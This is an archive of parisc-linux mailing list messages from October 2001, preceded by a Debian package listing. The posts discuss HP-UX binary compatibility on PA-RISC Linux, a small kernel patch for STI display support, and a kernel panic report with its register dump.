Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
||/ Name           Version        Description
+++-==============-==============-============================================
ii  adduser        3.37           Add and remove users and groups to resp. fro
ii  apt            0.5.3          Advanced front-end for dpkg
ii  apt-utils      0.5.3          APT utility programs
ii  at             3.1.8-10       Delayed job execution and batch processing
ii  autoconf       2.50-8         automatic configure script builder
ii  autoconf2.13   2.13-35        automatic configure script builder (obsolete
ii  automake       1.4-p4-1       A tool for generating GNU Standards-complian
ii  autotools-dev  20010626.2     Update infrastructure for config.{guess,sub}
ii  base-config    1.11           Debian base configuration package
ii  base-files     2.2.8          Debian base system miscellaneous files
ii  base-passwd    3.2.1          Debian Base System Password/Group Files
ii  bash           2.05-4         The GNU Bourne Again SHell
ii  bc             1.06-7         The GNU bc arbitrary precision calculator la
ii  binutils       2.11.90.0.7-2. The GNU assembler, linker and binary utiliti
ii  bison          1.28-8.1       A parser generator that is compatible with Y
ii  bsdmainutils   5.20010126-4   More utilities from FreeBSD.
ii  bsdutils       2.11f-1.0.1    Basic utilities from 4.4BSD-Lite.
ii  bzip2          1.0.1-12       A high-quality block-sorting file compressor
ii  console-common 0.7            Basic infrastructure for text console config
ii  console-data   1999.08.29-21  Keymaps, fonts, charset maps, fallback table
ii  console-tools  0.2.3-23.0.1   Linux console and font utilities.
ii  console-tools- 0.2.3-23.0.1   Shared libraries for Linux console and font 
ii  cpio           2.4.2-36       GNU cpio -- a program to manage archives of 
ii  cpp            3.0-6          The GNU C preprocessor.
ii  cpp-3.0        3.0-1          The GNU C preprocessor.
ii  cron           3.0pl1-69      management of regular background processing
ii  dc             1.06-7         The GNU dc arbitrary precision reverse-polis
ii  debconf        0.9.76         Debian configuration management system
ii  debconf-utils  0.9.76         Debconf utilities
ii  debhelper      3.0.39         helper programs for debian/rules
ii  debian-cd      2.2.7          Tools for building (Official) Debian CD set
ii  debianutils    1.15           Miscellaneous utilities specific to Debian.
ii  devscripts     2.5.30         Scripts to make the life of a Debian Package
ii  dhcp-client    2.0pl5-5       DHCP Client
ii  diff           2.7-24         File comparison utilities
ii  diffstat       1.28-1         produces graph of changes introduced by a di
ii  dnsutils       9.1.1-1        Clients provided with BIND
ii  doc-debian     2.2.3          Debian Project documentation, Debian FAQ and
ii  dpkg           1.9.14         Package maintenance system for Debian
ii  dpkg-dev       1.9.14         Package building tools for Debian
ii  dpkg-multicd   0.17           Installation methods for multiple binary CDs
ii  e2fsprogs      1.20-1         The EXT2 file system utilities and libraries
ii  ed             0.2-19         The classic unix line editor
ii  exim           3.22-4.0.1     Exim Mailer
ii  fakeroot       0.4.4-9.2.1    Gives a fake root environment.
ii  fdutils        5.3-3.2.1      Linux floppy utilities
ii  file           3.33-5         Determines file type using "magic" numbers
ii  fileutils      4.1-2          GNU file management utilities.
ii  findutils      4.1.7-2        utilities for finding files--find, xargs, an
ii  finger         0.17-3         User information lookup program.
ii  fixincludes    3.0-1          Fix non-ANSI header files
ii  flex           2.5.4a-11      A fast lexical analyzer generator.
ii  ftp            0.17-6         The FTP client.
ii  g++-3.0        3.0-1          The GNU C++ compiler.
ii  gcc            3.0-6          The GNU C compiler.
ii  gcc-3.0        3.0-1          The GNU C compiler.
ii  gcc-3.0-base   3.0-3          The GNU compiler collection (base package).
ii  gettext        0.10.38-1      GNU Internationalization utilities
ii  gettext-base   0.10.38-1      GNU Internationalization utilities for the b
ii  glibc-doc      2.1.3-19       GNU C Library: Documentation
ii  gpm            1.19.3-6       General Purpose Mouse Interface
ii  grep           2.4.2-1        GNU grep, egrep and fgrep.
ii  grep-dctrl     1.9            Grep Debian package information
ii  groff-base     1.17-4         GNU troff text-formatting system (base syste
ii  gzip           1.2.4-33       The GNU compression utility.
ii  host           20000331-1     Utility for Querying DNS Servers
ii  hostname       2.08           A utility to set/show the host name or domai
ii  html2text      1.2.4-6        An advanced HTML to text converter.
ii  ifupdown       0.6.4-3        High level tools to configure network interf
ii  imlib-base     1.9.10-5       Common files needed by the Imlib/Gdk-Imlib p
ii  indent         2.2.6-3        C language source code formatting program
ii  info           4.0-5          Standalone GNU Info documentation browser
ii  ipchains       1.3.10-11      Network firewalling for Linux 2.2.x
ii  ipmasqadm      0.4.2-2        Utility for configuring extra masquerading f
ii  klogd          1.4.1-2        Kernel logging daemon
ii  less           358-6.1        A file pager program, similar to more(1)
ii  libart2        1.2.13-9       The Gnome canvas widget
ii  libbz2-1.0     1.0.1-12       A high-quality block-sorting file compressor
ii  libc6          2.2.3-9        GNU C Library: Shared libraries and Timezone
ii  libc6-dev      2.2.3-6.0.1    GNU C Library: Development Libraries and Hea
ii  libcap1        1.10-9         support for getting/setting POSIX.1e capabil
ii  libdb2         2.7.7-8.0.2    The Berkeley database routines (run-time fil
ii  libdb3         3.2.9-10       Berkeley v3 Database Libraries [runtime]
ii  libdigest-md5- 2.13-2         MD5 Message Digest for Perl
ii  libdns4        9.1.1-1        Shared Library used by BIND
ii  libdps1        4.1.0-2        Display PostScript (DPS) client library
ii  libfreetype6   2.0.2.20010514 FreeType 2 font engine, shared library files
ii  libgcc1        3.0-1          GCC support library.
ii  libgdbmg1      1.7.3-27       GNU dbm database routines (runtime version).
ii  libglib1.2     1.2.10-1.2     The GLib library of C routines
ii  libgpmg1       1.19.3-6       General Purpose Mouse Library [libc6]
ii  libgpmg1-dev   1.19.3-6       General Purpose Mouse Library, development f
ii  libident       0.22-2         simple RFC1413 client library - runtime
ii  libisc3        9.1.1-1        Shared Library used by BIND
ii  libkpathsea3   1.0.7+20001218 shared libkpathsea for teTeX
ii  libldap2       2.0.11-2       OpenLDAP libraries.
ii  liblockfile1   1.03           NFS-safe locking library, includes dotlockfi
ii  liblwres1      9.1.1-1        Shared Library used by BIND
ii  libncurses5    5.2.20010318-2 Shared libraries for terminal handling
ii  libncurses5-de 5.2.20010318-2 Developer's libraries and docs for ncurses
ii  libnewt0       0.50.17-7.0.1  Not Erik's Windowing Toolkit - text mode win
ii  libnss-db      2.2-3          DB Name Service Module
ii  libpam-modules 0.72-25        Pluggable Authentication Modules for PAM
ii  libpam-runtime 0.72-25        Runtime support for the PAM library
ii  libpam0g       0.72-25        Pluggable Authentication Modules library
ii  libpcre3       3.4-1          Philip Hazel's Perl Compatible Regular Expre
ii  libperl5.6     5.6.1-5        Shared Perl library.
ii  libpopt0       1.6.2-5        lib for parsing cmdline parameters
ii  libreadline4   4.2-3          GNU readline and history libraries, run-time
ii  libsasl7       1.5.24-6       Authentication abstraction library.
ii  libssl0.9.6    0.9.6a-3       SSL shared libraries
ii  libstdc++3     3.0-1          The GNU stdc++ library version 3
ii  libstdc++3-dev 3.0-1          The GNU stdc++ library version 3 (developmen
ii  libwrap0       7.6-8          Wietse Venema's TCP wrappers library
ii  libxaw6        4.0.3-4        X Athena widget set library (version 6)
ii  libxaw7        4.1.0-2        X Athena widget set library
ii  libzvt2        1.2.13-9       The Gnome zvt (zterm) widget
ii  lintian        1.20.13        Debian package checker
ii  locales        2.2.3-6        GNU C Library: National Language (locale) da
ii  login          20000902-6.1   System login tools
ii  logrotate      3.5.4-2        Log rotation utility
ii  lpr            2000.05.07-4   BSD lpr/lpd line printer spooling system
ii  lsof           4.57-1         List open files.
ii  lynx           2.8.3-1.4      Text-mode WWW Browser
ii  m4             1.4-13         a macro processing language
ii  mailx          8.1.2-0.200103 A simple mail user agent.
ii  make           3.79.1-6.0.1   The GNU version of the "make" utility.
ii  makedev        2.3.1-53       Creates special device files in /dev.
ii  man-db         2.3.18-10      Display the on-line manual.
ii  manpages       1.36-2         Man pages about using a Linux system.
ii  manpages-dev   1.36-2         Linux-development man pages.
ii  mawk           1.3.3-5        a pattern scanning and text processing langu
ii  mime-support   3.11-1         MIME files 'mime.types' & 'mailcap', and sup
ii  mkisofs        1.11a6-1       Creates ISO-9660 CD-ROM filesystem images.
ii  modconf        0.2.32         Device Driver Configuration
ii  modutils       2.4.6-3        Linux module utilities.
ii  mount          2.11f-1.0.1    Tools for mounting and manipulating filesyst
ii  mpack          1.5-7          Tools for encoding/decoding MIME messages.
ii  mtools         3.9.8-3        Tools for manipulating MSDOS files
ii  mtr-tiny       0.42-7         Full screen ncurses traceroute tool
ii  mutt           1.3.18-1       Text-based mailreader supporting MIME, GPG, 
ii  nano           1.0.2-1        free Pico clone with some new features
ii  ncftp          3.0.3-6        A user-friendly and well-featured FTP client
ii  ncurses-base   5.2.20010318-2 Descriptions of common terminal types
ii  ncurses-bin    5.2.20010318-1 Terminal-related programs and man pages
ii  ncurses-term   5.2.20010318-2 Additional terminal type definitions
ii  net-tools      1.60-1         The NET-3 networking toolkit
ii  netbase        4.06           Basic TCP/IP networking system
ii  netkit-inetd   0.10-6.2       The Internet Superserver
ii  netkit-ping    0.10-6.2       The ping utility from netkit
ii  nfs-common     0.3.2-2        NFS support files common to client and serve
ii  nfs-kernel-ser 0.3.2-2        Kernel NFS server support
ii  nvi            1.79-17        4.4BSD re-implementation of vi.
ii  palo           0.92           Linux boot loader for parisc/hppa
ii  passwd         20000902-6.1   Change and administer password and group dat
ii  patch          2.5.4-4        Apply a diff file to an original
ii  pciutils       2.1.8-5        Linux PCI Utilities (for 2.[1234].x kernels)
ii  perl           5.6.1-5        Larry Wall's Practical Extraction and Report
ii  perl-base      5.6.1-5        The Pathologically Eclectic Rubbish Lister.
ii  perl-modules   5.6.1-5        Core Perl modules.
ii  pidentd        3.0.12-3       TCP/IP IDENT protocol server.
ii  portmap        5-2            The RPC portmapper
ii  ppp            2.4.1-2        Point-to-Point Protocol (PPP) daemon.
ii  pppconfig      2.0.8          A text menu based utility for configuring pp
ii  procmail       3.15.1-4       Versatile e-mail processor.
ii  procps         2.0.7-5        The /proc file system utilities.
ii  protoize       3.0-1          Create/remove ANSI prototypes from C code
ii  python-base    1.5.2-16       An interactive object-oriented scripting lan
ii  python-newt    0.50.17-7.0.1  A newt module for Python.
ii  rcs            5.7-13         The GNU Revision Control System
ii  sed            3.02-6         The GNU sed stream editor.
ii  setserial      2.17-22        Controls configuration of serial ports.
ii  sharutils      4.2.1-6        shar, unshar, uuencode, uudecode
ii  shellutils     2.0.11-9       The GNU shell programming utilities.
ii  slang1         1.4.4-3.1      The S-Lang programming library - runtime ver
ii  strace         4.3-3.0.1      A system call tracer.
ii  sysklogd       1.4.1-2        System logging daemons
ii  sysutils       1.3.8.5        Miscellaneous small system utilities.
ii  sysvinit       2.78-4         System-V like init.
ii  tar            1.13.19-1      GNU tar
ii  tasksel        1.4            Tool for selecting tasks for installation on
ii  tcpd           7.6-8          Wietse Venema's TCP wrapper utilities
ii  tcsh           6.10-0.1       TENEX C Shell, an enhanced version of Berkel
ii  telnet         0.17-13        The telnet client.
ii  telnetd        0.17-13        The telnet server.
ii  texinfo        4.0-5          Documentation system for on-line information
ii  textutils      2.0-6          The GNU text file processing utilities.
ii  time           1.7-11         The GNU time command.
iU  twm            4.0.3-4        Tab window manager
ii  update         2.11-3         daemon to periodically flush filesystem buff
ii  util-linux     2.11f-1.0.1    Miscellaneous system utilities.
ii  vacation       3.0            email autoresponder
ii  wenglish       2.0-1          English dictionary words for /usr/share/dict
ii  whiptail       0.50.17-7.0.1  Displays user-friendly dialog boxes from she
ii  whois          4.5.7          The GNU whois client
ii  xbase-clients  4.1.0-2        miscellaneous X clients
ii  xdm            4.1.0-2        X display manager
ii  xfonts-100dpi  4.1.0-2        100 dpi fonts for X
ii  xfonts-75dpi   4.1.0-2        75 dpi fonts for X
ii  xfonts-base    4.1.0-2        standard fonts for X
ii  xfonts-scalabl 4.1.0-2        scalable fonts for X
ii  xfree86-common 4.1.0-2        X Window System (XFree86) infrastructure
ii  xlib6g         4.1.0-2        pseudopackage providing X libraries
ii  xlibmesa3      4.1.0-2        XFree86 version of Mesa 3D graphics library
ii  xlibs          4.1.0-2        X Window System client libraries
ii  xserver-common 4.1.0-2        files and utilities common to all X servers
ii  xserver-xfree8 4.1.0-2        the XFree86 X server
ii  xterm          4.1.0-2        X terminal emulator
ii  xutils         4.1.0-2        X Window System utility programs
ii  zlib1g         1.1.3-15       compression library - runtime


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)




From - Thu Nov 08 21:19:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP-UX binary compatibility
Date: Thu, 4 Oct 2001 05:56:48 -0600 (MDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <200110041156.FAA09478@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620564 26982 80.91.229.3 (22 Nov 2014 01:42:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  4 05:56:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id AC4DE4901
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Oct 2001 05:56:50 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel6.hp.com (Postfix) with ESMTP id 68CD91F9FA
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Oct 2001 07:56:49 -0400 (EDT)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id FAA09478
	for parisc-linux@lists.parisc-linux.org; Thu, 4 Oct 2001 05:56:48 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:12452

I just committed a patch that restores some of the elementary HP-UX
binary compatibility functionality. Shared libraries also work. But
there is a ton of more work to do. Lots of wrappers need to be written
(see the arch/parisc/hpux directory for files that contain the support
for this functionality). One major missing piece is signal support.
Mapping ioctl arguments is another significant effort ...

John





From - Thu Nov 08 21:19:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nathan Neulinger <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX binary compatibility
Date: Thu, 04 Oct 2001 07:43:45 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <3BBC5981.D741A437@umr.edu>
References: <200110041156.FAA09478@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620565 26987 80.91.229.3 (22 Nov 2014 01:42:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, uetrecht@umr.edu
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  4 06:43:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx.rollanet.org (mailsrv.rollanet.org [192.55.114.7])
	by dsl2.external.hp.com (Postfix) with SMTP id D76544953
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Oct 2001 06:43:48 -0600 (MDT)
Original-Received: (qmail 22274 invoked from network); 4 Oct 2001 12:43:46 -0000
Original-Received: from cessna.rollanet.org (HELO umr.edu) (nneul@216.229.93.21)
  by mx.rollanet.org with SMTP; 4 Oct 2001 12:43:46 -0000
Original-Sender: nneul@dsl2.external.hp.com
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.10-pre15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:12453

John Marvin wrote:
> 
> I just committed a patch that restores some of the elementary HP-UX
> binary compatibility functionality. Shared libraries also work. But
> there is a ton of more work to do. Lots of wrappers need to be written
> (see the arch/parisc/hpux directory for files that contain the support
> for this functionality). One major missing piece is signal support.
> Mapping ioctl arguments is another significant effort ...
> 
> John
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

Fantastic! I'll definately take a closer look now and will submit
whatever improvements I can!

-- Nathan

------------------------------------------------------------
Nathan Neulinger                       EMail:  nneul@umr.edu
University of Missouri - Rolla         Phone: (573) 341-4841
Computing Services                       Fax: (573) 341-4216




From - Thu Nov 08 21:19:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbradetich@uswest.net (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sti broken in pa32 on B180
Date: Thu, 4 Oct 2001 07:13:50 -0600
Lines: 30
Approved: news@gmane.org
Message-ID: <20011004071350.A27483@beavis.ybsoft.com>
References: <1002191096.3bbc38f8c42ed@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620565 26989 80.91.229.3 (22 Nov 2014 01:42:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  4 07:13:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (unknown [63.224.241.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id F0CC0493B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Oct 2001 07:13:51 -0600 (MDT)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id 913F2BCE8; Thu,  4 Oct 2001 07:13:50 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1002191096.3bbc38f8c42ed@webmail.tiscalinet.be>
User-Agent: Mutt/1.3.22i
Xref: news.gmane.org gmane.linux.ports.parisc:12454

On Thu, Oct 04, 2001 at 12:24:56PM +0200, joel.soete@freebel.net wrote:
> Hi all,
> 
> I just come back to my hppa boxes (a 712/80 and a b180) and just co the last cvs 
> kernel (-pa32).
> I do usual make oldconfig; make dep ; make vmlinux (on the 712).

Try the following patch ... Thomas said this is what fixed STI on the
B-class machines for him.  If it works, I'll commit it.

Thanks,

- Ryan


diff -u -p -r1.37 inventory.c
--- inventory.c	2001/10/04 00:17:52	1.37
+++ inventory.c	2001/10/04 13:08:21
@@ -542,7 +542,7 @@ add_system_map_addresses(struct parisc_d
 		return;
 	}
 
-	for(i = 0; i < num_addrs; ++i) {
+	for(i = 0; i <= num_addrs; ++i) {
 		status = pdc_system_map_find_addrs(&addr_result, 
 						   module_instance, i);
 		if(PDC_RET_OK == status) {




From - Thu Nov 08 21:19:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Unaligned data reference...
Date: Thu, 4 Oct 2001 08:24:38 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D851@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="ISO-8859-1"
X-Trace: ger.gmane.org 1416620565 26991 80.91.229.3 (22 Nov 2014 01:42:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  4 07:25:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay.cc.umr.edu [131.151.1.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6CBF2493B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Oct 2001 07:25:35 -0600 (MDT)
Original-Received: from umr-mail01.cc.umr.edu (umr-mail01.cc.umr.edu [131.151.1.108]) via ESMTP by mrelay.cc.umr.edu (8.9.3/R.4.20) id IAA23815; Thu, 4 Oct 2001 08:25:33 -0500
Original-Received: by umr-mail01.cc.umr.edu with Internet Mail Service (5.5.2653.19)
	id <THKHFGR2>; Thu, 4 Oct 2001 08:25:33 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12455

Just got this on a J210 built with a native mostly default cvs build of the
kernel.

Wasn't using the machine at the time (happened overnight) so don't know if
anything particular triggered it.

-- Nathan


Debian GNU/Linux testing/unstable inst2 ttyS0

inst2 login: swapper[0]: Unaligned data reference 28

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111000001111
r0-3     00000000 10317810 102836ac 0000000a
r4-7     109e8db2 10380ac8 0000000c 109e8d94
r8-11    00000000 00000001 00020000 27acb3a0
r12-15   00000000 0000004d 000000fd 0000001c
r16-19   10380580 f00000ac f00000a4 00000001
r20-23   00000000 00000109 27c3d000 0000000f
r24-27   00000000 10380ac8 27acb3a0 102d6010
r28-31   27c3d120 00000000 10380d80 101302d8
sr0-3    00000000 000001c4 00000000 000001c4
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10279908 1027990c
 IIR: 0c801093    ISR: 00000000  IOR: 109e8db2
 CPU:        0   CR30: 10380000 CR31: 10388000
 ORIG_R28: 00000000
Kernel panic: Aiee, killing interrupt handler!
In interrupt handler - not syncing




From - Thu Nov 08 21:19:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurij Smakov <jurij@lokmail.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Unaligned data reference...
Date: Thu, 04 Oct 2001 10:28:09 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <200110041428.KAA08508@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620566 27001 80.91.229.3 (22 Nov 2014 01:42:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  4 08:28:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.lokmail.net (MAIL.LOKMAIL.NET [209.48.2.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8DB2E4981
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Oct 2001 08:28:14 -0600 (MDT)
Original-Received: from mail.lokmail.net (localhost [127.0.0.1])
	by mail.lokmail.net (8.9.3/8.9.3) with ESMTP id KAA08508
	for <parisc-linux@lists.parisc-linux.org>; Thu, 4 Oct 2001 10:28:09 -0400
Content-ID: <8503.1002205689.1@mail.lokmail.net>
Original-Sender: jurij@mail.lokmail.net
Xref: news.gmane.org gmane.linux.ports.parisc:12456

Hi Nathan!

Just yesterday Randolph posted a patch, which hopefully
fixes kernel space unaligned traps, which is exactly
what You need. I haven't tried it myself yet.

Cheers,

Jurij.







From - Thu Nov 08 21:19:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] HP-UX binary compatibility
Date: Thu, 4 Oct 2001 10:07:59 -0500
Lines: 57
Approved: news@gmane.org
Message-ID: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D85B@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="ISO-8859-1"
X-Trace: ger.gmane.org 1416620566 27005 80.91.229.3 (22 Nov 2014 01:42:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:46 +0000 (UTC)
Cc: "Uetrecht, Daniel J." <uetrecht@umr.edu>
To: "'John Marvin'" <jsm@udlkern.fc.hp.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  4 09:09:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay.cc.umr.edu [131.151.1.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3703B496D
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Oct 2001 09:09:19 -0600 (MDT)
Original-Received: from umr-mail01.cc.umr.edu (umr-mail01.cc.umr.edu [131.151.1.108]) via ESMTP by mrelay.cc.umr.edu (8.9.3/R.4.20) id KAA24630; Thu, 4 Oct 2001 10:08:55 -0500
Original-Received: by umr-mail01.cc.umr.edu with Internet Mail Service (5.5.2653.19)
	id <THKHFJ8R>; Thu, 4 Oct 2001 10:08:55 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12457

Cool. Looks to be working. 

Looks like the most noticeable missing syscalls are the sig* ones as you've
mentioned below. (Would be nice to get a syscall wrapper lookup table so it
at least would spit out the name of the unwrapped syscall.)

Is there any reasonable way to trace the hpux binaries? strace doesn't see
anything past the exec. Looks like I'm able to run lmutil/lmgrd, but they
get a hostid of 0. 

It's the uname call that's returning the zero:

inst2:/products/hpux# chroot /products/hpux /uname -a
Linux inst2 2.4.9-pa #3 Thu O parisc inst2 #3 Thu O
inst2:/products/hpux# chroot /products/hpux /uname -i
inst2

troot-halley(11)> uname -a
HP-UX halley B.10.20 A 9000/735 2002000004 two-user license
troot-halley(12)> uname -i
2002000004

It's that 2002000004 that I need. That appears to be the idnumber field of
the uname results. Should be simple enough to adjust the system call code as
needed, especially since I'll just need to return a known value in my case.
(Presuming that's the mechanism the the lmgrd fetches is with. If it uses
the lanscan approach, that'll be harder.)

-- Nathan

> -----Original Message-----
> From: John Marvin [mailto:jsm@udlkern.fc.hp.com]
> Sent: Thursday, October 04, 2001 6:57 AM
> To: parisc-linux@lists.parisc-linux.org
> Subject: [parisc-linux] HP-UX binary compatibility
> 
> 
> 
> I just committed a patch that restores some of the elementary HP-UX
> binary compatibility functionality. Shared libraries also work. But
> there is a ton of more work to do. Lots of wrappers need to be written
> (see the arch/parisc/hpux directory for files that contain the support
> for this functionality). One major missing piece is signal support.
> Mapping ioctl arguments is another significant effort ...
> 
> John
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:19:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Unaligned data reference...
Date: Thu, 4 Oct 2001 10:17:29 -0500
Lines: 36
Approved: news@gmane.org
Message-ID: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D85C@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="ISO-8859-1"
X-Trace: ger.gmane.org 1416620566 27011 80.91.229.3 (22 Nov 2014 01:42:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "'Randolph Chung'" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  4 09:18:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay.cc.umr.edu [131.151.1.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7AB46496A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Oct 2001 09:18:43 -0600 (MDT)
Original-Received: from umr-mail01.cc.umr.edu (umr-mail01.cc.umr.edu [131.151.1.108]) via ESMTP by mrelay.cc.umr.edu (8.9.3/R.4.20) id KAA28015; Thu, 4 Oct 2001 10:18:21 -0500
Original-Received: by umr-mail01.cc.umr.edu with Internet Mail Service (5.5.2653.19)
	id <THKHFKH1>; Thu, 4 Oct 2001 10:18:21 -0500
